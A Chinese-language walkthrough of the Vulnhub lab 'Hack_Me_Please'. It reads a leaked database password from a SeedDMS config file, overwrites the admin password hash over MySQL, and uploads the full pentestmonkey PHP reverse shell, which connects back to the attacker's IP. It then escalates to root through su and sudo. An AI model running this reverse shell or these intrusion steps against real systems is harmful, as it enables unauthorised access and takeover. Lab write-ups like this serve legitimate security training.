Vulnhub:Hack_Me_Please

靶场环境介绍

靶场下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar

kali ip:192.168.10.25

靶机 ip:192.168.10.128

两个主机在同一网卡下使用桥接模式

信息收集

使用arp进行主机存活扫描:

arp-scan -l

img

扫描到存活主机192.168.10.128

使用nmap进行更详细的扫描:

nmap -sV -p- 192.168.10.128 -O

img

通过nmap的扫描结果,可以看到该主机开放了80http服务,3306mysql,操作系统可能为Linux

访问该主机开放的http服务:

img

Wappalyzer信息:

img

使用dirb对网站进行目录扫描,没有发现可疑的目录

img

使用dirbuster扫描,发现/js/main.js文件中有网站的目录信息:

img

img

img

访问http://192.168.10.128/seeddms51x/seeddms-5.1.22,发现是一个登录页面:

img

根据网站左上角可以知道这是一个SeedDMS,php开源的文档管理系统,搜索一下有没有什么可以利用的漏洞:

img

该版本是5.1.12,但是搜索出来的漏洞都是低于该版本的

使用dirsearch进行目录扫描,扫出两个目录,但是都没啥用:

img

继续扫描发现的这两个目录:

img

发现有一个settings.xml

访问http://192.168.10.128/seeddms51x/conf/settings.xml,看不懂是什么东西

img

查看源代码,发现了数据库的账号和密码:

img

dbDatabase=“seeddms”

dbUser=“seeddms”

dbPass=“seeddms”

漏洞利用

获得了靶机的数据库账户和密码,尝试登录一下其数据库:

mysql -h 192.168.10.128 -u seeddms -p

img

成功连接到数据库

列出所有表

show databases;

img

查看表seeddms:

use seeddms;
show tables;

img

img

末尾有一个users表

查看users表

select * from users;

img

没啥用,先留着

再看一下tblUsers表

select * from tblUsers;

img

可以看到该表中存储了admin的用户名和密码,不过密码进行了加密

将admin的密码拿去md5进行解密:

解密网站:

https://www.cmd5.com/

img

没有解密成功

那就只能换个密码了

想一个密码:admin,将admin加密成md5格式:21232f297a57a5a743894a0e4a801fc3,然后替换admin原有的密码:

MySQL [seeddms]> update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where id=1;
Query OK, 1 row affected (0.003 sec)
Rows matched: 1  Changed: 1  Warnings: 0

img

可以看到密码已经更换成功

使用admin/admin登录SeedDMS,可以成功登录

img

img

发现了一个可以上传文件的地方:

img

做一个php的反弹shell,再用kali进行监听

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.10.25';
$port = 9002;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

shell文件命名为:1.php,且需要上传两次(如果不是1.php,会无法连接成功:

img

记住序列号,后面需要用到img

先监听,后反弹,反弹成功(前面不小心把反弹shell的ip地址写错了,所以一直在出错-_-||

img

http://192.168.10.128/seeddms51x/data/1048576/13/1.php

倒数第二个/里面写的是序列号

提权

使用python获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

img

切换到之前在数据库看到的用户saket

www-data@ubuntu:/$ su saket
su saket
Password: Saket@#$1337

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

saket@ubuntu:/$ 

成功登录

可以看到该用户的权限很高

img

直接登录root用户,不需要密码就能直接登录:

sudo su root

img

提权成功

  • 17
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值